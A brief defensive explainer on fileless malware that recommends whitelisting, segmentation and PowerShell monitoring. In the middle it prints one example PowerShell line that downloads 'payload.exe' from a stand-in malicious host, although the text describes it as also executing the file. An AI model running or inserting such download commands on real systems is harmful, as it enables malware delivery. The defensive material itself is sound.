This command illustrates a common attack vector used by fileless malware to download and execute payloads from remote servers. By leveraging legitimate system commands, attackers can bypass traditional security measures.

To mitigate this threat, organizations should implement strict application whitelisting policies to restrict the execution of unauthorized commands. Additionally, employing network segmentation can help contain potential breaches and limit the lateral movement of attackers within the network.

Invoke-WebRequest -Uri 'http://malicious-url.com' -OutFile 'payload.exe'
Organizations should focus on monitoring and controlling the use of PowerShell and other scripting tools within their environments. Implementing logging and alerting mechanisms can help detect suspicious activities and prevent fileless malware infections.